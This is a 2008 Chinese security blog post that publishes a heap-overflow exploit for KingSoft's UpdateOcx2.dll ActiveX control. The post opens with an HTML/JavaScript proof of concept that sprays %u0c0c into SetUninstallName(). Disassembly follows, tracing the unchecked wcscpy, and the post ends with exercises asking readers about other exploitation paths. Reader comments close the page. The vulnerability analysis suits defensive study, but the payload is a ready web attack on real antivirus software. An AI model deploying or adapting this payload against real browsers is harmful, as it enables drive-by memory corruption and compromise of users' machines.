百度空间 | 百度首页 
               
 
查看文章
 
[Exploit] KingSoft UpdateOcx2.dll SetUninstallName() Heap Overflow Exploit
2008年03月08日 星期六 上午 00:28

KingSoft UpdateOcx2.KUpdateObj2.1 SetUninstallName() Heap Overflow Exploit
-----------------------------------------------------------------
Author: void[at]ph4nt0m[dot]org
Blog: http://hi.baidu.com/54nop
Date: 2008-02-29

文件路径: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
文件描述: Kingsoft Antivirus Online Update Module
文件版本: 2007,12,29,29

    金山在线杀毒,百度安全中心在线杀毒,雅虎助手等使用的在线杀毒引擎均受影响.

PoC代码:
-----------------------------------------------------------------------------------
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 += unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>
-----------------------------------------------------------------------------------
   
分析:
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
.text:1000737B SetUninstallName proc near              ; DATA XREF: .rdata:1003186C o
.text:1000737B                                         ; .rdata:10031A64 o
.text:1000737B
.text:1000737B this_ptr        = dword ptr 4
.text:1000737B bsUninstallName = dword ptr 8
.text:1000737B
.text:1000737B                 mov     eax, [esp+this_ptr]
.text:1000737F                 push    [esp+bsUninstallName]
.text:10007383                 add     eax, 20h
.text:10007386                 mov     ecx, [eax]
.text:10007388                 push    eax
.text:10007389                 call    dword ptr [ecx+20h] ; 此处跟进 10012278
.text:1000738C                 xor     eax, eax
.text:1000738E                 retn    8
.text:1000738E SetUninstallName endp


.text:10012278 ; =============== S U B R O U T I N E =======================================
.text:10012278
.text:10012278
.text:10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
.text:10012278 Vul_Func        proc near               ; DATA XREF: .rdata:10032D3C o
.text:10012278
.text:10012278 arg_0           = dword ptr 4
.text:10012278 Source          = dword ptr 8
.text:10012278
.text:10012278                 cmp     [esp+Source], 0
.text:1001227D                 jz      short loc_10012294
.text:1001227F                 mov     eax, [esp+arg_0]
.text:10012283                 push    [esp+Source]    ; Source
.text:10012287                 add     eax, 0D70h
.text:1001228C                 push    eax             ; Dest
.text:1001228D                 call    _wcscpy         ; 没有检查用户输入的长度就,造成heap overlfow
.text:10012292                 pop     ecx
.text:10012293                 pop     ecx
.text:10012294
.text:10012294 loc_10012294:                           ; CODE XREF: Vul_Func+5 j
.text:10012294                 xor     eax, eax
.text:10012296                 retn    8
.text:10012296 Vul_Func        endp
.text:10012296


课后习题:
1. 为什么要target2?
2. 该控件有没有其他利用途径?
答案下周六公布.


类别:Tips | 浏览() | 评论 (6)
 
最近读者:
 
网友评论:
1
2008年03月08日 星期六 上午 06:29 | 回复
邪恶啊~ 而且今天你很明显12点以后睡的
 
2
2008年03月08日 星期六 上午 08:11 | 回复
这么早起来还是只捞了个第二名.... 终于贴出来了...
 
3
2008年03月08日 星期六 下午 12:30 | 回复
我一直以为是MS,哎~
 
4
2008年03月08日 星期六 下午 05:08 | 回复
哎 我也一直ms。
 
5
2008年03月09日 星期日 上午 11:51 | 回复
路过。
 
6
2008年03月09日 星期日 下午 01:11 | 回复
呃。答案下周公布。
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu